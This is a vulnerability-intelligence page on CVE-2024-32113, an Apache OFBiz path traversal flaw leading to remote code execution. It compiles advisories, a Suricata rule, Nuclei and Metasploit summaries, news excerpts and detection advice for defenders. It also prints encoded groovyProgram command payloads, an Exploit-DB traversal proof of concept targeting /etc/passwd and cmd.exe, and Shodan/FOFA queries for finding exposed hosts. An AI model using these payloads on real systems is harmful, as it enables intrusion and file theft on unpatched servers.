CVE-2024-32113
published 2024-05-08CVE-2024-32113: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz.This issue affects Apache OFBiz: before 18.12.13…
PriorityP197critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2024-08-28
Exploited in the wild
EPSS
99.92%
100.0th percentile
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz.This issue affects Apache OFBiz: before 18.12.13.
Users are recommended to upgrade to version 18.12.13, which fixes the issue.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | ofbiz | < 18.12.13 | 18.12.13 |
| apache | ofbiz | — | — |
| apache_software_foundation | apache_ofbiz | < 18.12.13 | 18.12.13 |
Detection & IOCsextracted from sources · hover to see the quote
commandgroovyProgram=%74%68%72%6f%77%20%6e%65%77%20%45%78%63%65%70%74%69%6f%6e(%27%69%64%27.%65%78%65%63%75%74%65().%74%65%78%74);↗
commandgroovyProgram=%74%68%72%6f%77%20%6e%65%77%20%45%78%63%65%70%74%69%6f%6e(%27%69%70%63%6F%6E%66%69%67%27.%65%78%65%63%75%74%65().%74%65%78%74);↗
commandgroovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b↗
yara↗
id: CVE-2024-32113 — Nuclei template matching POST to /webtools/control/forgotPassword/%2e/%2e/ProgramExport with groovyProgram parameter and response containing 'java.lang.Exception' or uid=/IPv4 regex
- →Look for POST requests to /webtools/control/forgotPassword/%2e/%2e/ProgramExport — the encoded dot-dot traversal sequence (%2e/%2e) is the canonical CVE-2024-32113 exploit path. ↗
- →Detect the groovyProgram POST parameter in requests to OFBiz endpoints; both URL-percent-encoded and Unicode-escaped variants are used in the wild. ↗
- →Alert on HTTP responses from OFBiz containing 'java.lang.Exception' in the body following a POST to a ProgramExport path — this is the success indicator used by public PoC/Nuclei templates. ↗
- →Monitor for directory traversal sequences (../ and ;) in OFBiz URL paths — the flaw involves failure to sanitize URLs, allowing these sequences to bypass security filters. ↗
- →Flag POST requests to /webtools/control/xmlrpc with XML body containing performCommand — this endpoint was also used in exploit PoC code for this CVE. ↗
- →Use FOFA/Shodan fingerprints to identify exposed OFBiz instances: FOFA query app="Apache_OFBiz" and Shodan query title:"OFBiz". ↗
- →Execution of user-provided Groovy scripts via ProgramExport with inadequate blocklisting is the RCE primitive — detect any unauthenticated access to the ProgramExport endpoint. ↗
- ·The Metasploit module was updated to drop the path-traversal step and exploit ProgramExport directly (CVE-2024-38856 behaviour), so network signatures relying solely on the %2e/%2e traversal pattern will not catch updated exploit tooling. ↗
- ·CISA's KEV deadline (August 28, 2024) applies only to Federal Civilian Executive Branch agencies under BOD 22-01, but CISA urges all organizations to patch. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vulncheck9.8CRITICAL
cisa9.8CRITICAL
vendor_apache9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
CISA
Apache OFBiz Path Traversal Vulnerability
cisa·2024-08-07·CVSS 9.8
CVE-2024-32113 [CRITICAL] CWE-22 Apache OFBiz Path Traversal Vulnerability
Vulnerability: Apache OFBiz Path Traversal Vulnerability
Affected: Apache OFBiz
Apache OFBiz contains a path traversal vulnerability that could allow for remote code execution.
Required Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Notes: This vulnerability affects a common open-source component, third-party library, or a protocol used by different products. Please check with specific vendors for information on patching status. For more information, please see: https://lists.apache.org/thread/w6s60okgkxp2th1sr8vx0ndmgk68fqrd; https://nvd.nist.gov/vuln/detail/CVE-2024-32113
Remediation Due Date: 2024-08-28
Apache
Apache ofbiz: CVE-2024-32113
vendor_apache·CVSS 9.8
CVE-2024-32113 [CRITICAL] Apache ofbiz: CVE-2024-32113
Apache ofbiz: CVE-2024-32113
; affected releases before 18.12.13; fixed in 18.12.13 with commits b3b87d98dd , ff316b6e22
GHSA
GHSA-38cv-ch3v-j5cw: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz
ghsa_unreviewed·2024-05-08
CVE-2024-32113 [CRITICAL] CWE-22 GHSA-38cv-ch3v-j5cw: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz.This issue affects Apache OFBiz: before 18.12.13.
Users are recommended to upgrade to version 18.12.13, which fixes the issue.
VulnCheck
Apache OFBiz Path Traversal Vulnerability
vulncheck·2024·CVSS 9.8
CVE-2024-32113 [CRITICAL] CWE-22 Apache OFBiz Path Traversal Vulnerability
Apache OFBiz Path Traversal Vulnerability
Apache OFBiz contains a path traversal vulnerability that could allow for remote code execution.
Affected: Apache OFBiz
Required Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Exploitation References: https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2024-06-14&host_type=src&vulnerability=cve-2024-32113; https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2024-07-26&host_type=src&vulnerability=cve-2024-32113; https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2024-07-27&host_type=src&vulnerability=cve-2024-32113; https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2024-07
Suricata
ET WEB_SPECIFIC_APPS Apache OFBiz Remote Code Execution via Path Confusion (CVE-2024-32113)
suricata·2024-10-01·CVSS 9.8
CVE-2024-32113 [CRITICAL] ET WEB_SPECIFIC_APPS Apache OFBiz Remote Code Execution via Path Confusion (CVE-2024-32113)
ET WEB_SPECIFIC_APPS Apache OFBiz Remote Code Execution via Path Confusion (CVE-2024-32113)
Rule: alert http any any -> $HOME_NET any (msg:"ET WEB_SPECIFIC_APPS Apache OFBiz Remote Code Execution via Path Confusion (CVE-2024-32113)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"|2f|webtools|2f|control|2f|forgotPassword|3b 2f|ProgramExport"; startswith; fast_pattern; http.request_body; content:"groovyProgram|3d|"; reference:url,github.com/Mr-xn/CVE-2024-32113; reference:cve,2024-32113; classtype:web-application-attack; sid:2056364; rev:1; metadata:affected_product Apache_OFBiz, attack_target Server, tls_state TLSDecrypt, created_at 2024_10_01, cve CVE_2024_32113, deployment Perimeter, deployment Internal, deployment SSLDecrypt, confidence High, signature_seve
Exploit-DB
Apache OFBiz 18.12.12 - Directory Traversal
exploitdb·2024-05-19
CVE-2024-32113 Apache OFBiz 18.12.12 - Directory Traversal
Apache OFBiz 18.12.12 - Directory Traversal
---
# Exploit Title: Apache OFBiz 18.12.12 - Directory Traversal
# Google Dork: N/A
# Date: 2024-05-16
# Exploit Author: [Abdualhadi khalifa (https://twitter.com/absholi_ly)
# Vendor Homepage: https://ofbiz.apache.org/
## Software Link: https://ofbiz.apache.org/download.html
# Version: below
example.createBlogPost
../../../../../../etc/passwd
OR
2-
POST /webtools/control/xmlrpc HTTP/1.1
Host: vulnerable-host.com
Content-Type: text/xml
performCommand
../../../../../../windows/system32/cmd.exe?/c+dir+c:\
Nuclei
Apache OFBiz - Improper Authorization & Remote Code Execution
nuclei·CVSS 9.8
CVE-2024-38856 [CRITICAL] Apache OFBiz - Improper Authorization & Remote Code Execution
Apache OFBiz - Improper Authorization & Remote Code Execution
Improper Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).
Template:
id: CVE-2024-38856
info:
name: Apache OFBiz - Improper Authorization & Remote Code Execution
author: Co5mos
severity: critical
description: |
Improper Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to versio
Metasploit
Apache OFBiz forgotPassword/ProgramExport RCE
metasploit·CVSS 9.8
CVE-2024-32113 [CRITICAL] Apache OFBiz forgotPassword/ProgramExport RCE
Apache OFBiz forgotPassword/ProgramExport RCE
Apache OFBiz versions prior to 18.12.13 are vulnerable to a path traversal vulnerability (CVE-2024-32113). The vulnerable endpoint /webtools/control/forgotPassword allows an attacker to access the ProgramExport endpoint which in turn allows for remote code execution in the context of the user running the application. This was patched in 18.12.14. It was then discovered that the use of the path traversal vulnerability is not required in order to access the vulnerable endpoint ProgramExport. CVE-2024-38856 was given for this Incorrect Authorization vulnerability and was patched in 18.12.15. This module was originally written the exploit CVE-2024-32113, but upon the discovery of CVE-2024-38856 the module updated to not exploit the path traversal
Nuclei
Apache OFBiz Directory Traversal - Remote Code Execution
nuclei·CVSS 9.8
CVE-2024-32113 [CRITICAL] Apache OFBiz Directory Traversal - Remote Code Execution
Apache OFBiz Directory Traversal - Remote Code Execution
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.13
Template:
id: CVE-2024-32113
info:
name: Apache OFBiz Directory Traversal - Remote Code Execution
author: DhiyaneshDK
severity: high
description: |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.13
impact: |
An attacker can exploit this directory traversal vulnerability to execute arbitrary code remotely, potentially compromising the entire system and accessing sensitive data.
remediation: |
Users are recommended to upgrade to version 18.12.13, which fixes the issue.
Bleepingcomputer
Apache fixes critical OFBiz remote code execution vulnerability
blogs_bleepingcomputer·2024-09-05·CVSS 9.8
[CRITICAL] Apache fixes critical OFBiz remote code execution vulnerability
## Apache fixes critical OFBiz remote code execution vulnerability
## Sergiu Gatlan
Apache has fixed a critical security vulnerability in its open-source OFBiz (Open For Business) software, which could allow attackers to execute arbitrary code on vulnerable Linux and Windows servers.
OFBiz is a suite of customer relationship management (CRM) and enterprise resource planning (ERP) business applications that can also be used as a Java-based web framework for developing web applications.
Tracked as CVE-2024-45195 and discovered by Rapid7 security researchers, this remote code execution flaw is caused by a forced browsing weakness that exposes restricted paths to unauthenticated direct request attacks.
"An attacker with no valid credentials can exploit missing view authorization checks in
Bleepingcomputer
CISA warns about actively exploited Apache OFBiz RCE flaw
blogs_bleepingcomputer·2024-08-08·CVSS 9.8
[CRITICAL] CISA warns about actively exploited Apache OFBiz RCE flaw
## CISA warns about actively exploited Apache OFBiz RCE flaw
## Bill Toulas
The U.S. Cybersecurity & Infrastructure Security Agency is warning of two vulnerabilities exploited in attacks, including a path traversal impacting Apache OFBiz.
Apache OFBiz (Open For Business) is a popular open-source enterprise resource planning (ERP) system that provides a suite of business applications to manage various aspects of an organization. Due to its versatility and cost-effectiveness, it's used in a wide range of industries and business sizes.
The flaw added to CISA's Known Exploited Vulnerability Catalog (KEV) is CVE-2024-32113 , a path traversal vulnerability impacting OFBiz versions before 18.12.13 . If exploited, it could allow attackers to remotely execute arbitrary commands on vulnerable se
Greynoiseio
NoiseLetter August 2024
blogs_greynoiseio
NoiseLetter August 2024
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
http://www.openwall.com/lists/oss-security/2024/05/09/1https://issues.apache.org/jira/browse/OFBIZ-13006https://lists.apache.org/thread/w6s60okgkxp2th1sr8vx0ndmgk68fqrdhttps://ofbiz.apache.org/download.htmlhttps://ofbiz.apache.org/security.htmlhttp://www.openwall.com/lists/oss-security/2024/05/09/1https://issues.apache.org/jira/browse/OFBIZ-13006https://lists.apache.org/thread/w6s60okgkxp2th1sr8vx0ndmgk68fqrdhttps://ofbiz.apache.org/download.htmlhttps://ofbiz.apache.org/security.htmlhttps://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-32113
2024-05-08
Published
2024-08-07
Added to CISA KEV
Exploited in the wild